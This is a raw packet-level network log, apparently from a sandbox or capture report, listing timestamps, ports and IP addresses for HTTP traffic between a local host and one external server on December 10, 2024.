Dec 10, 2024 04:49:47.117396116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.117423058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.117434978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.172751904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.172858953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.172878027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.172905922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.173162937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.173223972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.173314095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.173389912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.173980951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.174046993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.174067974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.174159050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.174823999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.174892902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.174922943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.174974918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.175648928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.175710917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.175770044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.175838947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.176482916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.176564932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.176620960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.177315950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.177381039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.177464962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.177525043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.178158998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.178214073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.178260088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.178334951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.179013968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.179146051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.179174900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.179254055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.179891109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.179953098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.179980993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.180047989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.180666924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.180727959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.180803061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.180891037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.181559086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.181631088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.181648970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.181682110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.182368040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.182488918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.182523966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.182538986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.183177948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.183243036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.209362030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.209372044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.209528923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.209717035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.209728003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.209777117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.210472107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.210525036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.210613012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.210664988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.211318016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.211366892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.211397886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.211443901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.212218046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.212272882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.212305069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.212363005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.212984085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.213047981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.213078976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.213157892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.213793039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.213859081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.213915110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.213977098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.214629889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.214730978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.214797020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.215524912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.215581894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.215591908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.215634108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.216335058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.216377974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.216476917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.216593027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.217128038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.217184067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.217204094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.217250109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.218143940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.218154907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.218203068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.218993902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.219005108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.219059944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.219654083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.219702959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.288264990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.288388014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.288441896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.288464069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.288649082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.288712025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.288742065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.288826942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.289469004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.289534092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.289575100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.289625883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.290342093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.290405035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.290441036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.290488958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.291194916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.291260004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.291286945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.291331053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.292013884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.292069912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.292151928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.292203903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.292855024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.292906046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.292932987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.292999983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.293747902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.293812990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.293817043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.293898106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.294507980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.294555902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.294625044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.294709921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.295342922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.295433044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.295464993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.295516014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.296195030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.296292067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.296317101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.296329975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.297018051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.297158003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.297174931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.297209024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.297940016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.298011065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.298463106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.298578978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.298691988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.298814058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.298867941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.298867941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.299549103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.299649000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.299719095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.299719095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.300390005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.300438881 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.300481081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.300534010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.301213980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.301264048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.301296949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.301354885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.302059889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.302182913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.302253962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.302898884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.302956104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.303008080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.303096056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.303745985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.303808928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.303848982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.303895950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.304579973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.304703951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.304768085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.305448055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.305531979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.305557966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.305604935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.306266069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.306355000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.306375027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.306435108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.307090998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.307172060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.307194948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.307249069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.307914972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.308046103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.308074951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.308087111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.308774948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.308908939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.308927059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.308974028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.309588909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.309637070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.309690952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.309792995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.365096092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.365262985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.365400076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.365417957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.365549088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.365573883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.365592003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.366281986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.366365910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.366396904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.366470098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.367136955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.367247105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.367289066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.367969036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.368041992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.368060112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.368098021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.368819952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.368874073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.368908882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.368946075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.369635105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.369725943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.369756937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.369815111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.370467901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.370517015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.370578051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.370628119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.371294975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.371426105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.371434927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.371589899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.372153044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.372190952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.372246027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.372292042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.372992992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.373085022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.373114109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.373163939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.373812914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.373914003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.373919964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.373970985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.374669075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.374775887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.374802113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.374852896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.375503063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.375662088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.401314974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.401375055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.401407957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.401463032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.401680946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.401752949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.401807070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.402831078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.402842045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.402879953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.402899981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.403413057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.403501034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.403546095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.404237986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.404279947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.404310942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.404359102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.405056000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.405102968 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.405154943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.405225039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.405875921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.405942917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.406078100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.406297922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.406755924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.406837940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.406841993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.406891108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.407908916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.407931089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.407954931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.407991886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.408406973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.408498049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.408557892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.408557892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.409245014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.409298897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.409339905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.409384966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.410082102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.410124063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.410197020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.410285950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.411237001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.411247969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.411283970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.411739111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.412022114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.480437994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.480547905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.480747938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.480856895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.480954885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.481024981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.481081009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.481632948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.481720924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.481754065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.481858015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.482470036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.482518911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.482584000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.482633114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.483308077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.483359098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.483419895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.483468056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.484158039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.484214067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.484244108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.484306097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.484987020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.485068083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.485115051 CET	49730	80	192.168.2.4	80.82.65.70
